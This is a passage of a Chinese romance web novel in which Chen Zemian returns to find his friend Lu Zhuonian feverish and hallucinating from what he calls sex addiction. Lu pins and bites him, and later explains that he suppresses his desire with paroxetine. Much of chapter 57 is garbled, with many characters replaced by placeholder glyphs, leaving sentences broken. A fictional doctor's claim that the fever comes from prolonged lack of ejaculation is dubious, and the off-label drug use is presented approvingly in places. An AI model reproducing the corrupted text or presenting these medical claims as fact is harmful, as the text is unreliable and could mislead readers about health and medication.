陈则眠恨杀了他父亲的人,涉案之人同样恨陈轻羽。 此案已尘封二十年,无论谁触动封印,都会引来各方侧目。 若陈则眠藏于茫茫人海之中,那些人可能永远查不出他与陈轻羽的关系,可倘若他主动走向这桩旧案,就显眼得不能再显眼了。 瑶台阆苑案牵扯甚广,倘若涉案人员知晓其尚有一子在世,必定会报复到陈则眠身上。 但陆灼年也不能打着‘为他好’的旗号,冠冕堂皇地将他父亲的信息隐藏。 思索一夜后,陆灼年最终还是拨通了陈则眠的电话。 电话没有拨通。 陆灼年接连打了好几个,陈则眠都没有接听。 * 陈则眠当然没法接听电话。他当时正在睡觉。 昨晚,他和萧可颂等人打游戏打到凌晨,后半夜,几个人玩游戏玩累了,本来以为可以散局,没想到萧可颂又张罗着麻将,一圈圈打过去,眼看天都要亮了。陈则眠胳膊撑着头,有气无力地摸牌、打牌,像一个无情的陪玩机器。常年打雁终被啄眼,他晚上到点不睡觉、死熬陆灼年的时候,就该想到有朝一日自己也会被人熬。萧可颂是咖啡馅吧,一天到晚这么精神。 奇怪。 凌晨四点的时候,萧可颂还神采奕奕,振振有词道: “再打一个小时,五点睡十二点起,等咱们一醒,叶宸和灼年就到了,是不是想想还挺激动的?” 闫洛年轻精力旺盛,附和说:“激动!”萧可颂目光在陈则眠、薛铎身上扫过:“你们呢?”陈则眠&薛铎双目无神,没精打采道:“激动。”凌晨五点,萧可颂终于放陈则眠睡觉了。陈则眠倒在床上就失去了意识,一觉睡到天光大亮。摸起手机一看,都下午两点了。消息通知上,有好几通未接电话,都是陆灼年打来的。微信消息里,最上面一条消息也是陆灼年的。 【陆少:有时间回个电话,有事情和你说。】陈则眠翻了个身,把电话回了过去。没人接。 还没下飞机吗? 不能啊?不是说中午就能到酒店吗? 陈则眠又换了语音通话过去,依旧无人接听。 陈则眠给萧可颂打了个电话。 萧可颂那边倒是接得很快:“你可真能睡啊。” 陈则眠坐起身,有气无力地问:“陆少他们到了吗?” 萧可颂叹了口气:“灼年没跟你说吗?他有事,不来了。” 陈则眠说:“什么事这么急?” 病了? 萧可颂摇摇头,意识到陈则眠看不到,又补了一句:“不知道,叶宸也来不了了,他俩太浪费我感情了。” 陈则眠本以为陆灼年最多晚到几天,没成想一直过了三天,还仍然是杳无音信。 微信不回,电话更是完全打不通。 如果不是有叶宸从中传递消息,陈则眠都该怀疑陆灼年是不是被绑架了。 陈则眠这边忧心如焚,萧可颂倒是一副不慌不忙的模样,甚至有点习以为常。 看到萧可颂这副没心没肺的样子,陈则眠猜他肯定知道点什么。 第三天晚上,萧可颂又要去酒吧玩。 陈则眠跟着去了,想方设法把人灌醉,从萧可颂嘴里套出了实话。 闪烁斑斓的灯光下,萧可颂醉醺醺地枕着手臂,告诉陈则眠: "灼年他病了。" 陈则眠一惊,接着问是什么病。 萧可颂神秘地摆摆手,让陈则眠别担心,是老毛病,其他的就不肯再说了。 凌晨回到酒店,陈则眠翻来覆去睡不着,一半是因为喝酒喝得胃痛,另一半是在想陆灼年得了什么病。 时间都这么晚了,再给叶宸打电话也不合适。 况且连萧可颂都不肯讲陆灼年得了什么病,叶宸就更不可能告诉他了。 无端地,陈则眠想起了陆灼年卧室里,那一药柜的帕罗西汀。 他拿起手机,搜索药名和适用症。 抑郁症、焦虑症、惊恐症、社交恐怖症、强迫症。 会是这些里面的一个吗? 首先排除抑郁和社交恐怖,这俩可能性比较低,洁癖应该算是强迫症,但强迫症是慢性病,发作了也不至于出不了门,焦虑症倒是有可能影响坐飞机。最严重的就是惊恐症。 惊恐症发作时会出现心悸、冷汗、震颤等症状,伴以强烈的濒死感或失控感。所以会不会是惊恐症呢?陆灼年小时候被绑架过,留下了什么心理阴影也说不定,不发作时与常人无异,发作起来就会很严重的那种?到底是什么病啊。 陈则眠本来只是胃疼,想着想着头也开始疼,吞了一粒药又躺回床上,想借着药物副作用带来困意就此睡去。 二十分钟后,陈则眠一蹬被子,从床上坐起身。 烦死了!陆灼年烦死了! 生什么病不告诉他,还失联这么久,害得他胃疼头又疼。 有这么当朋友的吗?真想回京市骂他一顿。 对,我要回京市谴责他。 严厉地谴责他。 陈则眠仿佛找到一个合理的、正当的、合适的理由,当即拿起手机查询了航班。凌晨五点四十有一班飞机,刚好从凤凰机场飞大兴。 现在是凌晨三点半,赶去机场刚好。 56、第56章... 到机场的时候,还不到凌晨五点。 机场外面一片漆黑,偶尔有未熄灭的夜航灯一晃而过。 整个值机大厅内空旷安静,每个人脸上都带着倦意。 经济舱已经售空,陈则眠只能买商务舱,虽然是红眼航班仍然贵得要命。 VIP候机室冷气很足,他披着羽绒服,困得睁不开眼,握着杯热美式在心里狂骂陆灼年。 他的胃真的痛,痛到喝咖啡提神都只敢喝热的。 美式本来就不好喝,热美式和中药的区别仅在于咖啡豆比药材更苦! 陈则眠下巴窝在羽绒服里,圆圆的眼睛逐渐眯起,又猛地惊醒,看了看四周赶飞机的旅客,在心里狂骂陆灼年不够意思。 生病就生病呗,还搞失联这一套,他最好是有什么正当理由,否则我一定会用头撞死他! 好歹熬到了登机,陈则眠戴着眼罩,在飞机上断断续续睡了一会儿。 下了飞机,打车回盛庭华府的路上,陈则眠才想起来—— 自己根本不知道陆灼年到底是在盛庭华府,还是在陆家老宅。 算了,管他在哪儿呢。 他现在要回去睡觉,真不能再熬了。 再熬又该猝死了。 到家以后,打开门果然冷冷清清,陆灼年根本没在。 陈则眠晃荡回自己卧室, 脱下衣服,勉强冲了个澡,裹着浴巾在衣柜里翻了半天,居然找不到自己的睡衣了。 奇怪,是保洁阿姨拿去洗了吗? 找不到睡衣,他就随便翻出一个T恤套上,回到床边还没躺下,又发现自己的枕头也不见了。 我枕头呢?!!!陈则眠隐约觉得不对劲,又从别墅里转了一圈。屋里是没人,但不像空了三天的样子。灵光一闪间,陈则眠忽然想起,陆灼年在这儿可是有四套房的。不在这里,那其他三套房呢?陈则眠穿上加绒卫裤,裹着羽绒服出了门。外面应该是很冷的,但他现在已经注意不到那些了。剩下三套房里两套都空着,从窗户一望到底,只有一套拉着厚厚的天鹅绒窗帘。 找到了!你小子再能藏,还能逃得过我的侦察吗?我爸可是特警! 就算在陌生的酒庄,我都能越过层层阻碍找到你,在熟悉的小区里逮你还不是手到擒来。 陈则眠熟练地翻墙爬窗,两三下就从浴室找到了个没锁的窗户,拆下纱窗就钻了进去。 别墅内装潢华丽豪奢,但异常安静,像一座无人的沉闷古堡。 考虑到陆灼年突然换了个房子住,还拉着这么厚的窗帘,陈则眠担心他真是什么惊恐症发作,怕自己突然出现吓到人,遂决定放轻脚步,暗中观察,随机应变。这套房子的布局和常住的那套相似,陈则眠轻车熟路,蹑手蹑脚地上了楼,直奔主卧。 主卧也拉着窗帘,昏昏沉沉,走廊内的光穿过半开的房门照进去,将整个房间割成明暗两半。 陆灼年躺在黑暗处,头枕手臂侧卧着一动不动。 房间门开着,按理说陆灼年早该注意到有人过来,可他却根本没往门口看,甚至连表情都没有丝毫变化。 陆灼年眼眸微垂,沉默冷肃地看向地面,也不知道地上有什么,神情有种莫名的阴郁。 如果不是胸膛微微起伏,简直像一尊英俊精致的人形雕塑,或者一只躲在古堡中不喜见光的男鬼。 空气中有一种石榴花的气味,味道非常淡,若隐若现,几近于无。 陈则眠抽了抽鼻子,探头探脑地往屋里看去,想瞅瞅陆灼年到底在看什么,竟然看得这么认真。 啥也没有啊。 陈则眠并不怕鬼,但眼下的情况确实太诡异了。 陆灼年一点反应也没有,就好像他根本不存在似的。 这不禁让陈则眠产生某种奇异的悚然感。 他已经从最开始怀疑陆灼年die了,转变为怀疑是不是自己die了。 难道我才是那个鬼魂? 所以陆灼年才看不到我? 想起看过的恐怖片,他把自己吓了一跳,后背寒毛倒数。 陈则眠刻意弄出了一点声响,试探陆灼年会不会注意到他。 完全没有! 陆灼年竟然连眼皮都没抬。 陈则眠也顾不上陆灼年究竟是不是惊恐症发作了。 陆灼年再不理他,他惊恐症就该发作了! 陈则眠快步走进卧室,小声叫陆灼年的名字:“陆灼年?陆灼年。” 陆灼年没看他,睫毛却轻轻一颤。 谢天谢地!他还听得到! 陈则眠走到床边,又叫了一声:“陆灼年。” 陆灼年头痛欲裂,耳边是呼啸尖锐的耳鸣,眼前是不断闪烁的光斑。 在无序的繁杂与混乱中,陈则眠的身影又出现了。 幻觉来自幻想,在瘾犯时他最想看到谁,那些光斑就会扭曲成谁的样子。 这次的病症来势汹汹,焦虑烦躁的情绪如影随形,他时而亢奋时而低落,精神恍惚。 需求感比以往每一次都要强烈。 大约是之前并没有性幻想对象的缘故,虽然也经常在病发时出现幻听幻视,但光斑从未凝结成一个如此实体的、清晰的形象。 可这回发病,他亲眼看到光斑闪烁着旋转成陈则眠的脸。 他看到了陈则眠,很多很多次。 都是假的。 陆灼年被骗到过两次。 第一次,他一伸手,陈则眠就消失了。 第二次,幻觉出现的时间更久一些,他甚至像个疯子一样,还和幻想出来的陈则眠对了几句话。 第三次,陆灼年就不再相信了。 根据经验,只要不加理会,幻觉很快就会和闪烁的光斑扭曲在一起,彻底消失。 会消失的,只要不看可以了。 陆灼年一遍又一遍告诉自己—— 陈则眠在三亚,他不可能出现这里。 这是幻觉,不要听,不要看。 不要相信。 陆灼年数不清这是他第几次看到陈则眠了。 但他知道自己不能再看、更不能再想。 每次幻觉出现,都会给他造成更剧烈刺激,心率最高时超过190,脑海中反复出现与陈则眠相关的画面,完全干扰了他的注意力与自制力。 □o与理性撕扯着他,快要将他逼疯了。 他渴望暴力,渴望征服,渴望占有与掌控。 渴望对陈则眠做尽他所能想象到的、所有的、最下流的事情。 当性.欲出现,理智会暂时退让。 陆灼年努力抵抗欲.望,并诚挚希望幻觉快些消失。 然而,事与愿违。 这次幻想出来的陈则眠格外固执,不仅没有消失,还一直在叫他的名字。 陆灼年不理他,他还伸手推了推陆灼年。 陈则眠推了下陆灼年,发现陆灼年体温高得惊人。 这是发高烧了吧? 陈则眠反身离开主卧,赶紧去楼下找体温计。 卧室内,陆灼年长出一口气。 他还没有来得及庆幸这次幻觉的消失,下一次幻觉就又出现了。 这次的幻觉更过分,一进来话也不说,直接掀开他的被子,还把手伸进他领口里。 陈则眠有注意陆灼年的洁癖,在放体温计之前,刚用酒精把手和体温计都消了一遍毒,因此手有点凉。 体温计更是冷的像一根冰针。 冰冷与火热胸膛相触刹那,陈则眠只觉得很暖和。 陆灼年却是轻轻抖了一下。 全身的血液分作两部分,一半涌上头顶,一半涌向身下。 陈则眠放好体温计,刚要给陆灼年盖好被子,掀开被角的刹那,却不经意看见了被子下面的枕头,当即‘哎′了一声——“我枕头原来在你这儿,我说刚才怎么找不到。” 说着,他就要把自己的枕头拿走。一动不动的陆灼年突然动了。他单手按住枕头,英俊的剑眉蹙起,陡然抬眼,神情凶狠地瞪向陈则眠。陈则眠一点也没有照顾病患的自觉,看到陆灼年瞪他,不仅没收手,还伸手和病人抢起了枕头。他非常喜欢这个乳胶记忆枕。 这个乳胶记忆枕并非噱头,而是真的有记忆,枕得久了,枕头中间部分已经压出了他脑壳的形状,陈则眠每次往上一躺,都能刚好把脑袋嵌进去。特别舒服。 刚去三亚头两晚,他还因为没有这个枕头有点失眠呢。陈则眠拽着枕头不撒手:“我的!”陆灼年虽然病得厉害,力气却不小。他单手压着枕头,如一只慵懒的猛虎,冷眼看着陈则眠使劲往外拽。陈则眠拽了一会儿拽不动,松开枕头去掰陆灼年的手。陆灼年没动,就这么看着陈则眠折腾了五分钟。他已经打定主意,无论产生多么离谱的幻觉,都不会再与之交流。对着空气说话的模样真的太像一个疯子了。作为陆家的继承人,他可以有病,但不能真疯。陆灼年耳边又响起更为尖锐的鸣响。声音很大,但又很快停止。鸣响消失后,陈则眠停止了抢枕头的动作,又把手伸进了他衣服里。陆灼年忍无可忍,一把抓住陈则眠的手腕。陈则眠还没有摸到体温计,把手又往陆灼年衣服里伸了伸。陆灼年看着他,遽然开口道:“这是你自找的。” 陈则眠:“???” 他还没反应过来陆灼年在说啥,陆灼年忽然猛地一拽。 陈则眠顿时失重,摔到床上。 他根本没想到陆灼年会拽他,一点防备也没有,整个人陡然摔晕在被子上,眼冒金星,意识都空白了一瞬。 陆灼年坐起身,从背后按着他后颈,像刚才按枕头一样,轻而易举地把他按住了。 陈则眠意识回笼,脸颊贴在被面上,鼻间嗅到某种每个男人都非常熟悉的某种气味。 滚烫的手掌压在颈后最脆弱的地方,那种感觉难以形容,奇怪又别扭。 他像是被猫科动物按在爪下的猎物,不自觉想要逃走,却又不知道自己究竟要避开什么。 正在这时,陆灼年突然动了动,从后背抵住了他。 57、第57章... 随着陆灼年的动作,一根体温计口他袖口滑落下来,正掉在陈则眠鼻尖前。 上面的温度赫口逼近39度! 陈则眠转过头,惊诧道:“陆灼年你烧糊涂了?” 陆灼年没有答话,他沉默着,用膝盖抵着陈则眠后腰,右手擒颈,左手按肩,是格斗技巧中一口很标准的擒拿姿势。 一般人被这么擒住是很难挣脱的。 但陈则眠可没那么容易被抓住,陆灼年按着左肩,他口迅速向右一滚,同时反肘击向口方手臂,破坏其钳制擒拿的平衡。 陆灼年反应迅速,双手分别抓住陈则眠手腕,又把他按口了床上。 唯一不同的是口前是趴着的,这次是躺着。 这口姿.势口更容易反击了。但陈则眠又不是来口陆灼年打架的。 口现在这口情况来说,陆灼年的精神状态好像更值得关注。 陈则眠尝试着动了下手腕,;遭到了更凶猛的压制。 陆灼年眉头口手掌同时收紧,沉声命令:“不准动。” 陈则眠被捏的轻嘶一声:“很疼!” 陆灼年微微俯下身,居高临下看着陈则眠,面容冷酷道:“忍着。” 陈则眠也想忍,但陆灼年手劲儿实在太大了,几乎要将他骨头捏碎,狠狠地攥着他不撒手,仿佛他做了夫么不可饶恕的事情似的。 陆灼年冷冰冰地看着他,那眼神不像是在看朋友,倒像是在看仇人。 这太不正常了。 陆灼年到底是生了夫么病,为何口忽□0间性情大变? 陈则眠很担忧问陆灼年:“你到底怎么了?” 陆灼年不想看到幻象中的陈则眠口他露口担忧的眼神,于是伸手捂住了幻象的眼睛。 陈则眠眼睛被遮住,但好在有一只手能动了,摸索着握上陆灼年手腕:“要不要我带你去医院看看?” 陆灼年感到一阵冷口在体内来口流窜,令他肌肉痉挛、全身乏力。 他不想被幻想的眼神引诱,也不想被幻象的言语蛊惑。 于是陆灼年缓缓抬口另一只手,捂住了陈则眠嘴巴。 即便是幻觉,也是一比一等真大口的幻象。 陈则眠脸口0的,两只手放在上面,口能够把他整张脸都挡住,只露口一口挺翘的鼻子。 陆灼年的手指微不可察地动了动,又在强大的自制力下没有继续动作。 有那么一刹那,他很想抬手捂死这口‘幻象′。 这口幻象口现的时间太长了,长到陆灼年不禁开始思考其他方式驱散它。 陆灼年指尖轻轻蜷口。 想要消灭幻象又下不去手,即便他已经挡住了那张和陈则眠相似的脸。 陆灼年额角一蹦一蹦地猛跳,头痛的仿佛要炸开。 在眼前混乱闪烁的光点中,陈则眠修长白净的脖颈白得晃眼。 还有颈侧的那颗红痣,艳得烫眼的红痣。 陆灼年喉咙滚了滚,理智逐渐滑向坠落的深渊。 他受到蛊惑般低下头。 嘴唇缓缓贴向陈则眠脖颈红痣。 陈则眠身体陡然一僵,猛地拨开眼前的手,震惊地看向陆灼年。 他看起来难受极了,鼻间额头上渗出一层冷汗,身体因高热和强迫性神经反应打着寒颤。 潮湿炙热的呼吸喷在陈则眠脸颊,烫得他耳朵发热。 陈则眠呆了呆,大脑开始放空,竟忘了自己要说什么。 陆灼年本来头抵在枕头上,感受到陈则眠的动作,又强挺着撑起身,略微低下头,鼻尖在陈则眠脖侧嗅了嗅。这个动作极具野性。 只有兽类才会通过嗅闻的方式,判断猎物是否新鲜。 陈则眠心跳得很快。 今天的陆灼年和平时很不一样,陈则眠无法预测对方接下来的行为。 但他很想知道。 所以陈则眠没有动。 他心中隐约有一个猜想,但又觉得不大可能,可刚刚陆灼年嘴唇碰到了他的脖子—— 这个动作有点超出了。兄弟间可以互.撸,但不可以互亲脖子。可陈则眠又不太确定,陆灼年方才是不是亲了他。 当时他眼睛被完全挡住,而陆灼年又烧得浑身发抖,等陈则眠扒开对方的手掌时,陆灼年已经无力地靠在了枕头上,所以也不能排除他是由于脱力,滑了一下,不小心碰到的。 为了验证陆灼年究竟是有心还是无意,陈则眠未动声色,选择了继续观察。 他非常后悔这个决定。 因为他万万想不到,陆灼年突然低头,一口咬在了他肩膀上。 疼疼疼疼疼!!!陈则眠痛得挣了一下,膝盖防御性屈起,差点没一脚把陆灼年蹬飞。妈的!原来刚才是想咬他!他就说男频主角咋会忽然啃小弟脖子,原来是打不过就下口咬了。不讲武德!怎么还带咬人的。 “松口松口松口松口!!!!” 陈则眠手指插.进陆灼年头发里,拽着头发往后薅:“松口啊,卧槽,疼死了!!!” 陆灼年像一只叼住肉的野狼,咬住了就不撒口,任由陈则眠疼得在床上扭成了麻花,也不动如山。 肩膀中间的那块肌肉非常特殊,只是捏一下就酸痛难忍,更何况是被牙齿咬住,陈则眠像是被捏住了命门,左右挣不开,越扭越疼,眼泪都快掉下来了。陆灼年得的这是什么病。 不会是狂犬吧! 陈则眠秉着鱼死网破的精神,干脆也不挣了,直接仰起下巴,一口反咬在陆灼年肩膀同样的位置上。 陆灼年浑身微微一颤,剧痛侵袭之下,散乱的意识骤然回笼。 不对!幻觉可能会咬人,但幻觉不该这么疼。所以…… 是陈则眠回来了?! 陆灼年越慌乱越冷静,垂眸间心思千回百转,最先做的不是松口,而是趁着和陈则眠互咬肩膀的工夫,悄悄伸出手,拽了下被子盖住床。 他的床上有很多东西,都不能让陈则眠看到。 除了那个枕头,还有陈则眠的睡衣、浴巾和一件脏污到无法直视的白色卫衣。 只要这些东西不被发现……一切都说得过去。 陆灼年呼吸间满是陈则眠身上的味道,整个人精神紧绷到极致。 舌尖上甚至尝到了一丝血腥味。 陆灼年赶紧松开口。 看着眼前脸上布满痛苦的陈则眠,他神思恍惚了一瞬。 无数幻象和真实交杂重叠。 眼前光斑扭曲着布满了视网膜,他紧握双手,任凭指甲刺入掌心,也仍无法阻止大脑堕向混沌。 在理性彻底消失前,陆灼年心里只有一个念头——脑子不清醒就少说话。 少说少错。 陆灼年垂眸看了眼陈则眠,用很平常的语气说:“你从三亚回来了。”陈则眠也松开嘴,长出一口气:“大哥,你终于清醒了。”陆灼年从陈则眠身上翻下来,若无其事地应道:“嗯。” 陈则眠坐起身:“你到底咋了?”陆灼年没回答。 陈则眠肩膀阵阵灼痛,痛苦抻开衣领看了一眼,发现陆灼年这一口可真够狠的,竟然隔着衣服都把他咬破了。陈则眠伸手摸了摸血印,痛得直龇牙,抬头问陆灼年:"我用打狂犬疫苗吗?"陆灼年盯着陈则眠肩膀的牙印,反应比平时慢了半拍:“嗯?”陈则眠发现陆灼年注意力不大集中,就把两个问题拆开,先问了他认为比较重要的一个:“我用打狂犬疫苗吗?”陆灼年目光动了动,从肩膀转到陈则眠脸上:“都可以。” 陈则眠完全没看出陆灼年的异样,下床打开衣柜: “你换个衣服,我带你去医院,顺便打个疫苗。” 陆灼年躺回床上,盖好被子:“不去。” 陈则眠转过头:“为啥?” 陆灼年闭上眼睛,像是在回想陈则眠的问题,过了大约十秒才睁开眼,一本正经地说:“我没有狂犬病。” 陈则眠:“…….原来只是看起来正常了一点,实际上还是宕机状态。陈则眠熬夜赶了个航班,回家本来想睡一觉的,结果莫名其妙跟陆灼年打了一架,还被咬了一口,脑子也是嗡嗡的。但也比陆灼年强多了。 陈则眠第一次见到陆灼年这样,忍不住笑了两声:“你现在变成人机了,让你总说我。”陆灼年露出明显不悦,没有说话,蹙眉看过向陈则眠。陈则眠不为所动,捡起床上的体温计,问他:“你高烧几天了?去医院查过没?”陆灼年脑子里像是盛满烧开的浆糊,思考变成了一件很困难的事情,缓了几秒才回答:“过几天就好了。” 陈则眠无语道:“过几天就死了吧。” 陆灼年更加不悦,用眼神谴责陈则眠。 陈则眠抬手摸了摸陆灼年额头:“烫手,一脑门虚汗。” 陆灼年说:“是冷汗。” 陈则眠:“宁死不虚是吧。” 陆灼年定定地看了陈则眠几秒,突然问:“你是回来看我的吗?” 陈则眠点头道: “当然了,听叶宸说你病了,我又联系不上你,正好有早上的航班,就飞回看看。” 陆灼年拿起床头柜上的闹钟,通过飞行距离默默算推算陈则眠的登机时间,纠正到:“五点是凌晨,不是早上。” “………”陈则眠不知道该说什么了,拧开一瓶水,拿了退烧药递给陆灼年:“陆灼年,真不用去医院吗?我怎么感觉你脑子都烧坏了。”陆灼年根本没看陈则眠给他的是什么,直接把药吞掉,并努力从尖锐如音爆的耳鸣中读取有效信息。但他耳鸣得实在太厉害,听到的话也断断续续。陈则眠和陆灼年交流从来没这么费劲过,几句话说的人着急,烦躁地拧开一瓶水喝。陆灼年盯着陈则眠上下滑动的喉结,瞳孔肉眼可见轻轻一扩,明显又开始心不在焉地走神。 陈则眠这回算是知道和注意力不集中的人讲话多累得慌了。 真是一报还一报。 陈则眠坐在床边,又给陆灼年量了一遍体温。 五分钟后,还是将近39度,好像是比刚才低了,但也不太明显。 陈则眠问陆灼年:“真不去医院吗?” 陆灼年有点困了,许是之前吃的安眠药开始生效,眩晕感包裹他不断下坠。 他闭上眼,轻轻‘嗯′了一声:“不用去,会好的。” 陈则眠好奇道:“你到底什么病?” 陆灼年呼吸渐长,没有回答。 陈则眠没有一点照顾病人的自觉,堪比那种把睡着的病人叫起来喝安神药的恶毒小厮。 他推了推陆灼年:"问你话呢。" 陆灼年睁开双眼,看向陈则眠,淡然自若地吐出两个字: “性.瘾。” 第58章第58章 . 啥玩意?啥瘾? 陈则眠正在喝水,闻言猛地一呛,差点没水喷陆灼年脸上,给自己憋的一顿狂咳。 等他终于抑制住咳嗽,陆灼年已经阖上眼睡着了。 陈则眠虽然很诧异,但也不至于把刚睡着的陆灼年叫起来问,只能自行搜索。 总结起来大概就是: 患者易产生难以控制的X冲动,对X事成瘾,无法满足时易产生焦躁不安、低落易怒等负面情绪。 具体表现:1.频繁寻求X行为;2.通过隐藏行为来掩盖病症;3.行为逐渐升级,需要更强烈的刺激才能获得满足感。 从参考文献上看,性.成瘾症并未被正式纳入《精神疾病治疗与统计手册》,所以严格意义上来讲,它甚至不属于一种病。 那不就是X欲很强的意思吗? 看着熟睡的陆灼年,陈则眠目光不自觉下移。 虽然隔着被子什么都看不到,但他还是按捺不住好奇心,不自觉地胡思乱想起来。 不愧是男频爽文主角,虽然作者没有写明,但还是偷偷把X能力给男主点到了最强。 这个病不开后宫简直可惜! 所以作者还是想all in的吧。 可是陆灼年看起来很禁欲啊,一点没有精.虫上脑的样子,而且陈则眠在陆灼年家里住了那么久,两个人白天晚上都在一起,陆灼年有没有X行为,他还能不知道吗。这半年以来,陆灼年要么是住在盛庭华府,要么是回陆家老宅住,他都不往自己独居的地方带人,更不可能把人带回陆家老宅去啊。陆灼年洁癖那么严重,还不喜欢肢体接触,陈则眠还真没有见过他碰什么人,当然更没有什么人敢碰陆灼年,连萧可颂和叶宸都有刻意保持距离。陈则眠摸了下肩膀。刚才倒是咬了他一口,还有碰他脖子。 靠!陈则眠猛地反应过来——陆灼年刚才不会把他当女的了吧! 虽然他这张脸确实比较那啥,但也没有到雌雄莫辨的地步吧,不过陆灼年都高烧到39度了,耳鸣到听不清他说话,眼睛看不清楚男女也在情理之中。陈则眠恍然大悟。 怪不到后来陆灼年认出他以后就变正常了,还突然咬了他一口,这不正对上[无法满足时易怒]的特点吗? 哎,这个陈则眠可真没有办法,他是个男的,委实不具备满足陆灼年的条件。 那陆灼年平时都是怎么满足的,也没见他找过谁,看起来一直挺清心寡欲的呀。 真性.瘾假性.瘾啊。 不会是在吹牛吧。 哦,对对对,也可能是陆灼年平常隐藏得好,这表现行为中第二条说了,患者会通过隐藏行为来掩盖病症。 隐藏得还真好,陈则眠是一点也没看出来。 怪不得陆灼年不愿意去那种风月性质的娱乐场所,可能如果周围莺莺燕燕太多,他就比较容易起反应吧。 所以书里会写他不近女色,隐忍克制。原来是克制这个!对上了,全对上了。那还怪敏感的,可是总这样也挺难受的吧。陆灼年会自己纾解吗? 陈则眠完全想象不到陆灼年这么克制矜贵的一个人,是怎么用他那只好看得宛如艺术品的手,去做那种下流的事情。反差感应该很强。 想想还有种莫名的色.情。 不对不对,我为什么这个啊,啊啊啊完了完了,我的脑子受到了污染,再也不能直视陆灼年的手了!!! 但是话说回来,陆灼年对病症这般抵触,宁可吃药压制都不愿意面对这种异常的欲望,洁癖严重又那么克制禁欲,他会自己给自己纾解吗?这回病得这么来势汹汹,该不会是憋久了憋的吧。 非常有可能! 陈则眠不懂这些,觉得还是应该问问大夫,心里才有数。 陆灼年不愿去医院,但又高烧持续不退,陈则眠没有办法,只能在网上挂了个专家号在线问诊,硬着头皮来了一次语音问诊。 这个病症本就比较私密,陈则眠又不了解陆灼年身体的具体情况,只能将观察到的情况——表述,被医生接连不断询问问得结结巴巴,不知所云。他总算知道陆灼年为何不愿意去医院了。 这些问题真的太私密、太尴尬了。 陈则眠只是替别人问,还是通过语音,不用直接面对医生,就已经很难为情了,跟勿论直接去医院面对面询问了。 除了与X生活有关的问题,医生还详细询问了患者目前的状况,考虑患者高热是由于长时间不排.精引发的内部炎症,并建议患者面诊检查。 陈则眠就是再不懂医学知识,基本常识还是有的,医生把话说得都那么明白了,面诊检查能检查啥呀。 要是他他也不去! 通过与医生的沟通,陈则眠对性.瘾症也有了进一步了解。 它并非单纯的道德问题,也与心理创伤、激素异常、神经机制失衡有关或其他精神健康问题有关。 医生说:“洁癖、排斥他人肢体接触、强秩序感都是强迫症的典型特征,考虑到患者存在多项强迫症典型行为,不排除性瘾症状与强迫症存 在相关性,还是建议面诊。”陈则眠表示现在有特殊情况去不了,问医生有没有什么建议。 医生回答得非常专业:“根据你的描述,可以看出患者自身道德感和秩序感很强,排斥异常欲.望,这种情况下产生羞耻、内疚等负面感受都属于正常的心理现象,但作为一个X功能正常的成年男性,长时间不排.精对身体危害极大。" 陈则眠追问道:“那该怎么办呢?” 医生语气委婉表示:“建议患者减少自我批评,建立信任关系,克服洁癖,适度纾解排精,避免引发其他健康风险。” 线上问诊结束后,陈则眠根据医生的处方买了点消炎药,还有一些其他可能有用的东西。 处理完这些事情以后,陈则眠也非常疲惫,躺在客厅的沙发上,盖着羽绒服睡了过去。 临睡前,他订了五十分钟的闹钟,半梦半醒间,隐约听见闹钟响了起来,陈则眠按灭闹钟,在心里对自己说再眯十分钟。 这一眯就眯到了下午三点。 陈则眠睡得头昏脑胀,全身酸软地从沙发上爬起来,上楼看了眼陆灼年。 卧室里没有人。 房间明显整理过,窗帘完全拉开,半敞着窗,清新冷冽的风吹进屋内,吹走了病气和沉闷,被褥铺得没有一丝褶皱,甚至连床品都换过了。床铺上,两只枕头摆放的位置像是用尺子量过,左右对称,一边一只,一个是陆灼年的、一个是陈则眠的那只。 枕套也都换过了。 “枕头要对称放,看起来才舒服。” 陆灼年突然出现在陈则眠身后,云淡风轻地解释了为什么陈则眠 的枕头会出现在自己床上:“你这个枕头本来就是从这边拿过去的。” 陈则眠听到陆灼年声音如常,转身向他去。 陆灼年洗过了澡,也换了衣服,整个人精神多了。 陈则眠问:“你好了?” 陆灼年气定神闲道:“还没有。” “…….” 这是什么很悠哉的事情吗? 不知道你在淡然个什么劲儿啊兄弟! 陈则眠上下端量陆灼年:“看起状态比之前好了很多。” 陆灼年点点头:“睡了一会儿,精神就会好点,而且我吃药了。” 陈则眠应了一声:“我也给你买药了,你吃的是啥?” 陆灼年回答:“艾司唑仑和帕罗西汀。” 陈则眠不解道:“艾司唑仑是安眠药我知道,但那个帕罗西汀到底是治什么的,你怎么天天吃,医生没有说这个药有治性.瘾作用啊。” 陆灼年言简意赅:"帕罗西汀的不良反应中,最常见的一条是性.功能障碍。"陈则眠一下子就听懂了,震惊得说不出话,好半天才找回自己的声音,惊疑不定道:“你为了杜绝X冲 动,用帕罗西汀抑制自己?!”陆灼年微微颔首,用很平常的语气说:“性欲和交.合欲是动物的基本诉求,我不想退化成动物,更讨厌被欲.望控制的感觉。” 陈则眠倒吸一口凉气,斟酌着用词:“你这……你这是不是有一点矫枉过正了?” 闻言,陆灼年竟然笑了笑:“你怎么和我的心理医生讲一样的话。” 陈则眠刚和医生沟通完,很清楚事情的严重性。 他不知道陆灼年父母是否了解陆灼年的这个情况,不过就算了解,这个话题也太敏感了,哪怕是父母子女之间也很难开诚布公地谈论。 好消息是陆灼年倒是不避讳,还愿意和他聊上两句,而且也有心理医生提供专业指导。 只是陆灼年这个性格强势,内心有自己的原则和方法,即便有医生,估计也不会完全按照建议来。 刚才听陆灼年的意思,关于矫枉过正这点,心理医生早就提过,可他却并没有改变自己对抗病症的方式,还在坚持服用帕罗西汀。 陈则眠想起陆灼年卧室里满满一柜子的药,一时竟不知该说些什么。 陆灼年见陈则眠突然沉默,也没有再开口。 气氛倏然沉闷,却并不太尴尬,二人谁都没再说话,也都没走,就这么安静地在卧室门口站了一会儿。 半晌,陈则眠&陆灼年:“我/你…” 两个人对视一眼,又不约而同地止了声。 陈则眠看着陆灼年:“你先说。” 陆灼年开口道:“你放心,我的病可以控制,每次失控前,我都会把自己单独关到这边来……如果你还是觉得别扭,我也可以搬回陆宅。” 陈则眠缓缓瞪大眼睛:“你这是什么话?” 陆灼年说:“我有这种病,应该早点告诉你的,你现在知道了,再和我一起住,心里也会很不舒服吧。” 陈则眠一拳捶在陆灼年肩膀,怒道:“少说这种没劲的话。” 陆灼年神色不动,一夕之间恢复了疏离矜傲的冷淡模样,用陈述的语气说:“这不是没劲的话,这是事实。” 听到这种冠冕堂皇的论调,陈则眠更加生气,恨不得当场就和陆灼年大吵一架。 但他又很快冷静下来。 陆灼年心高气傲、自尊心又强,明明还在发着高烧,都要把自己 